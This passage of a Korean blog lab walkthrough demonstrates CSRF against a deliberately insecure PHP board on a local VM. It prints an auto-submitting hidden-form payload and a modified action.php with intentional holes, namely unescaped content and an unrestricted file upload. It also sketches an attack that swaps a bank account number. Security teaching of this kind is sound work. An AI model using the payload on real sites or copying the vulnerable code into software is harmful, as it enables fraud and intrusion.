&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같이 정상적인 요청이 서버에 전달된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 관리자가 직접 게시글 작성했을때 form 과 동일하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 서버는 해당 요청을 정상요청으로 판단하여 글을 작성하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해커가 의도한 게시글 작성이 무단으로 되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 위와 같은 상황은 제출이라는 버튼을 클릭해야하므로 상당히 부자연스러운 행위로 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러므로 제출 버튼을 클릭하지 않고 게시글을 확인했을때 자동으로 게시글을 작성하는 페이로드를 작성해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 자동으로 게시글 작성되는 경우 공격 확률이 훨씬 높아진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다수의 게시글이 작성되어 있는 경우 MySQL에서 한번에 삭제할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;delect from insecure_board;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;374&quot; data-origin-height=&quot;100&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bI25gg/btsL5OlxLwI/J3OzPxP1Av2gdoDIiOKpx0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bI25gg/btsL5OlxLwI/J3OzPxP1Av2gdoDIiOKpx0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bI25gg/btsL5OlxLwI/J3OzPxP1Av2gdoDIiOKpx0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbI25gg%2FbtsL5OlxLwI%2FJ3OzPxP1Av2gdoDIiOKpx0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;374&quot; height=&quot;100&quot; data-origin-width=&quot;374&quot; data-origin-height=&quot;100&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 페이로드&lt;/p&gt;
&lt;pre id=&quot;code_1738594646398&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;body onload=&quot;document.forms[0].submit()&quot;&amp;gt;
&amp;lt;form action=&quot;http://192.168.56.1/insecure_website/action.php&quot; method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;title&quot; value=&quot;해커가 무단으로 작성한 게시글&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;password&quot; value=&quot;test&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;content&quot; value=&quot;해커가 작성함&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;mode&quot; value=&quot;write&quot;&amp;gt;
&amp;lt;input type=&quot;submit&quot;&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;/body&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;onload 이벤트&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; HTML 문서의 모든 리소스(이미지, CSS, 스크립트 등)가 로드된 후 실행되는 이벤트&lt;br /&gt;&amp;rarr; 즉, 페이지가 완전히 로드되었을 때 자동으로 특정 작업을 수행할 수 있음.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;document.forms[0]&lt;br /&gt;&amp;rarr; 현재 문서(document) 내의 모든 &amp;lt;form&amp;gt; 요소를 배열(HTMLCollection)로 저장한 객체. &lt;br /&gt;&amp;rarr; forms[0]는&amp;nbsp;첫&amp;nbsp;번째&amp;nbsp;&amp;lt;form&amp;gt;&amp;nbsp;요소를&amp;nbsp;의미함.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;.submit()&amp;nbsp;메서드&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; &amp;lt;form&amp;gt;&amp;nbsp;요소의&amp;nbsp;제출(submit)&amp;nbsp;동작을&amp;nbsp;강제로&amp;nbsp;실행. &lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;rarr;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 즉,&amp;nbsp;사용자가&amp;nbsp;버튼을&amp;nbsp;클릭하지&amp;nbsp;않아도&amp;nbsp;자동으로&amp;nbsp;폼을&amp;nbsp;서버로&amp;nbsp;전송함.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동작&amp;nbsp;과정 &lt;br /&gt;1. 웹 페이지가 로드됨 (&amp;lt;body onload=&quot;...&quot;&amp;gt; 실행). &lt;br /&gt;2. 첫 번째 &amp;lt;form&amp;gt;을 document.forms[0]으로 선택. &lt;br /&gt;3. 선택된 폼의 .submit() 메서드를 호출하여 자동 제출.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결론&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 웹 페이지가 로드되자마자 첫 번째 폼을 자동 제출하는 기능을 수행함.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VMWare 에서 해커 계정으로 다음과 같이 페이로드를 입력 후 게시글을 작성한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;705&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qsoRE/btsL4YWO1WS/kKsbuI1rW36I3UA25SKbJ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qsoRE/btsL4YWO1WS/kKsbuI1rW36I3UA25SKbJ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qsoRE/btsL4YWO1WS/kKsbuI1rW36I3UA25SKbJ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqsoRE%2FbtsL4YWO1WS%2FkKsbuI1rW36I3UA25SKbJ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;866&quot; height=&quot;705&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;705&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬 PC의 관리자 계정에서 해당 게시글을 클릭한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;883&quot; data-origin-height=&quot;403&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cQIfdy/btsL6TTNkoQ/EatNwUs0vU9x83NR6nQLX0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cQIfdy/btsL6TTNkoQ/EatNwUs0vU9x83NR6nQLX0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cQIfdy/btsL6TTNkoQ/EatNwUs0vU9x83NR6nQLX0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcQIfdy%2FbtsL6TTNkoQ%2FEatNwUs0vU9x83NR6nQLX0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;883&quot; height=&quot;403&quot; data-origin-width=&quot;883&quot; data-origin-height=&quot;403&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글을 클릭하니 자동으로 아래와 같이 관리자 권한으로 게시글이 작성된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;886&quot; data-origin-height=&quot;444&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Lv1xc/btsL6zONI7U/4cyWEKdOuc1Dk2CN54FZ60/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Lv1xc/btsL6zONI7U/4cyWEKdOuc1Dk2CN54FZ60/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Lv1xc/btsL6zONI7U/4cyWEKdOuc1Dk2CN54FZ60/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLv1xc%2FbtsL6zONI7U%2F4cyWEKdOuc1Dk2CN54FZ60%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;886&quot; height=&quot;444&quot; data-origin-width=&quot;886&quot; data-origin-height=&quot;444&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;891&quot; data-origin-height=&quot;589&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brVvtc/btsL6W31xnf/9KcapbyOgyX2FwUhNuvSxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brVvtc/btsL6W31xnf/9KcapbyOgyX2FwUhNuvSxk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brVvtc/btsL6W31xnf/9KcapbyOgyX2FwUhNuvSxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrVvtc%2FbtsL6W31xnf%2F9KcapbyOgyX2FwUhNuvSxk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;891&quot; height=&quot;589&quot; data-origin-width=&quot;891&quot; data-origin-height=&quot;589&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자는 CSRF 페이로드가 입력된 게시글을 읽자마자 다른 게시글을 자동으로 작성하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 사용자가 의도하지 않은 행위를 유도(게시글 작성)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;다수의 게시글이 작성되어 있는 경우 MySQL에서 한번에 삭제할 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;delect from insecure_board;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;345&quot; data-origin-height=&quot;100&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dvZw3s/btsL48kAzl8/KPR7EP9ZP1w5MCGeNQN8kK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dvZw3s/btsL48kAzl8/KPR7EP9ZP1w5MCGeNQN8kK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dvZw3s/btsL48kAzl8/KPR7EP9ZP1w5MCGeNQN8kK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdvZw3s%2FbtsL48kAzl8%2FKPR7EP9ZP1w5MCGeNQN8kK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;345&quot; height=&quot;100&quot; data-origin-width=&quot;345&quot; data-origin-height=&quot;100&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;insecure_website 에서 게시글 수정과 삭제에서도 CSRF 공격을 하기 위해서는 소스코드 수정이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 수정과 삭제 시 password를 받고 있는데, 이는 일반적인 게시글 수정 형태가 아닐뿐만 아니라 password를 모르는 경우 실습 자체가 불가능하기 때문에 password 검증 로직 대신 세션 검증을 하는 코드를 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(CSRF 공격은 피해자가 모르는 상황에서 공격자가 의도한 특정 행위를 해야하는데, 공격자는 게시글의 password를 모르는 상태에서 게시글 수정 및 삭제를 할 수 없으므로 CSRF 공격 자체가 불가능함)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; action.php 의 modify 및 delete 부분의 password logic 코드를 주석 처리 후 세션 검증 코드 작성 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1738750439129&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
	@session_start();
	header(&quot;Content-Type: text/html; charset=UTF-8&quot;);
	include ( './common.php' );

	$mode = $_REQUEST[&quot;mode&quot;];
	$db_conn = mysql_conn();
	
	if($mode == &quot;write&quot;) {
		$title = xss_html_entity($db_conn-&amp;gt;real_escape_string($_POST[&quot;title&quot;]));
		$id = $db_conn-&amp;gt;real_escape_string($_SESSION[&quot;id&quot;]);
		$writer = xss_html_entity($db_conn-&amp;gt;real_escape_string($_SESSION[&quot;name&quot;]));
		$password = $db_conn-&amp;gt;real_escape_string($_POST[&quot;password&quot;]);
		#$content = xss_html($db_conn-&amp;gt;real_escape_string($_POST[&quot;content&quot;]));
		$content = $db_conn-&amp;gt;real_escape_string($_POST[&quot;content&quot;]);
		$secret = $_POST[&quot;secret&quot;];
		$uploadFile = &quot;&quot;;

		if(empty($title) || empty($password) || empty($content)) {
			echo &quot;&amp;lt;script&amp;gt;alert('빈칸이 존재합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}

		if(!empty($_FILES[&quot;userfile&quot;][&quot;name&quot;])) {
			$uploadFile = $_FILES[&quot;userfile&quot;][&quot;name&quot;];
			$uploadPath = &quot;{$upload_path}/{$uploadFile}&quot;;
			
			if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
				echo(&quot;&amp;lt;script&amp;gt;alert('파일 업로드를 실패 하셨습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;);
				exit;
			}
		}   
		
		if($secret == &quot;on&quot;) {
			$secret = &quot;y&quot;;
		} else {
			$secret = &quot;n&quot;;
		}
		
		$uploadFile = $db_conn-&amp;gt;real_escape_string($uploadFile);
		$content = str_replace(&quot;\\r\\n&quot;, &quot;&amp;lt;br&amp;gt;&quot;, $content);
		
		$query = &quot;insert into {$tb_name}(title, id, writer, password, content, file, secret, regdate) values('{$title}', '{$id}', '{$writer}', '{$password}', '{$content}', '{$uploadFile}', '{$secret}', now())&quot;;
		$db_conn-&amp;gt;query($query);
	} else if($mode == &quot;modify&quot;) {
		$idx = $_POST[&quot;idx&quot;];
		$title = xss_html_entity($db_conn-&amp;gt;real_escape_string($_POST[&quot;title&quot;]));
		$password = $db_conn-&amp;gt;real_escape_string($_POST[&quot;password&quot;]);
		$content = xss_html($db_conn-&amp;gt;real_escape_string($_POST[&quot;content&quot;]));
		$secret = $_POST[&quot;secret&quot;];
		$uploadFile = xss_html_entity($_POST[&quot;oldfile&quot;]);

		if(empty($idx) || empty($title) || empty($password) || empty($content)) {
			echo &quot;&amp;lt;script&amp;gt;alert('빈칸이 존재합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}

		if(!is_numeric($idx)) {
			echo &quot;&amp;lt;script&amp;gt;alert('숫자 값만 가능합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}		

		# Password Check Logic
		#$query = &quot;select * from {$tb_name} where idx={$idx} and password='{$password}'&quot;;
		$query = &quot;select * from {$tb_name} where idx={$idx} and id='{$_SESSION[&quot;id&quot;]}'&quot;;
		$result = $db_conn-&amp;gt;query($query);
		$num = $result-&amp;gt;num_rows;

		if($num == 0) {
			#echo &quot;&amp;lt;script&amp;gt;alert('패스워드가 일치하지 않습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			echo &quot;&amp;lt;script&amp;gt;alert('잘못된 요청 입니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}

		if(!empty($_FILES[&quot;userfile&quot;][&quot;name&quot;])) {
			$uploadFile = $_FILES[&quot;userfile&quot;][&quot;name&quot;];
			$uploadPath = &quot;{$upload_path}/{$uploadFile}&quot;;
			
			if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
				echo(&quot;&amp;lt;script&amp;gt;alert('파일 업로드를 실패 하셨습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;);
				exit;
			}
		}
		
		if($secret == &quot;on&quot;) {
			$secret = &quot;y&quot;;
		} else {
			$secret = &quot;n&quot;;
		}
		
		$content = str_replace(&quot;\\r\\n&quot;, &quot;&amp;lt;br&amp;gt;&quot;, $content);
		$uploadFile = $db_conn-&amp;gt;real_escape_string($uploadFile);

		$query = &quot;update {$tb_name} set title='{$title}', content='{$content}', file='{$uploadFile}', secret='{$secret}', regdate=now() where idx={$idx}&quot;;
		$db_conn-&amp;gt;query($query);
	} else if($mode == &quot;delete&quot;) {
		$idx = $_POST[&quot;idx&quot;];
		$password = $db_conn-&amp;gt;real_escape_string($_POST[&quot;password&quot;]);

		if(!is_numeric($idx)) {
			echo &quot;&amp;lt;script&amp;gt;alert('숫자 값만 가능합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}				
		
		# Password Check Logic
		#$query = &quot;select * from {$tb_name} where idx={$idx} and password='{$password}'&quot;;
		$query = &quot;select * from {$tb_name} where idx={$idx} and id='{$_SESSION[&quot;id&quot;]}'&quot;;
		$result = $db_conn-&amp;gt;query($query);
		$num = $result-&amp;gt;num_rows;

		if($num == 0) {
			#echo &quot;&amp;lt;script&amp;gt;alert('패스워드가 일치하지 않습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			echo &quot;&amp;lt;script&amp;gt;alert('잘못된 요청 입니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}
		
		$query = &quot;delete from {$tb_name} where idx={$idx}&quot;;
		$db_conn-&amp;gt;query($query);
	}

	echo &quot;&amp;lt;script&amp;gt;location.href='index.php';&amp;lt;/script&amp;gt;&quot;;
	$db_conn-&amp;gt;close();
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션 검증 코드 작성 후 로컬PC의 관리자 계정으로 게시글을 작성해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자가 특정 은행 계좌로 돈을 입금 받는 게시글을 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해커는 본인의 계좌번호로 입금받도록 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;해당 게시글을 수정하는&lt;span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;CSRF 공격을 진행한다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;941&quot; data-origin-height=&quot;863&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vZUMP/btsL7SV6mX3/4TkzwqkQR1bizyyKtnVVT1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vZUMP/btsL7SV6mX3/4TkzwqkQR1bizyyKtnVVT1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vZUMP/btsL7SV6mX3/4TkzwqkQR1bizyyKtnVVT1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvZUMP%2FbtsL7SV6mX3%2F4TkzwqkQR1bizyyKtnVVT1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;941&quot; height=&quot;863&quot; data-origin-width=&quot;941&quot; data-origin-height=&quot;863&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;937&quot; data-origin-height=&quot;685&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BCqLI/btsL8m3GFiD/xh5KUom6KyTYx2z53K0yNk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BCqLI/btsL8m3GFiD/xh5KUom6KyTYx2z53K0yNk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BCqLI/btsL8m3GFiD/xh5KUom6KyTYx2z53K0yNk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBCqLI%2FbtsL8m3GFiD%2Fxh5KUom6KyTYx2z53K0yNk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;937&quot; height=&quot;685&quot; data-origin-width=&quot;937&quot; data-origin-height=&quot;685&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 이 게시글을 발견하고 이 게시글 내 계좌번호를 본인의 계좌번호로 변경하는 CSRF 공격을 진행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VMWare 에서 해커 계정으로 로그인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSRF 공격을 하기 위해서는 요청값을 정확하게 알아야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해커 계정으로 test 게시글 작성 후 게시글 수정에서 필요한 파라미터가 무엇인지 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 무단 작성 시에도 요청값을 확인했듯이, 버프스위트에서 게시글 수정 버튼을 클릭하여 어떻게 수정 요청이 이루어지는지 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;426&quot; data-origin-height=&quot;406&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NoA9l/btsL8mvQeP6/kQRCsJmik1VcOnke2hHRhK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NoA9l/btsL8mvQeP6/kQRCsJmik1VcOnke2hHRhK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NoA9l/btsL8mvQeP6/kQRCsJmik1VcOnke2hHRhK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNoA9l%2FbtsL8mvQeP6%2FkQRCsJmik1VcOnke2hHRhK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;426&quot; height=&quot;406&quot; data-origin-width=&quot;426&quot; data-origin-height=&quot;406&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 수정 페이지의 소스코드 보기를 통해서도 확인이 가능하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;889&quot; data-origin-height=&quot;544&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vBjet/btsL9pylBYz/zJTPa7l3JgL8NNE427g891/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vBjet/btsL9pylBYz/zJTPa7l3JgL8NNE427g891/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vBjet/btsL9pylBYz/zJTPa7l3JgL8NNE427g891/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvBjet%2FbtsL9pylBYz%2FzJTPa7l3JgL8NNE427g891%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;889&quot; height=&quot;544&quot; data-origin-width=&quot;889&quot; data-origin-height=&quot;544&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
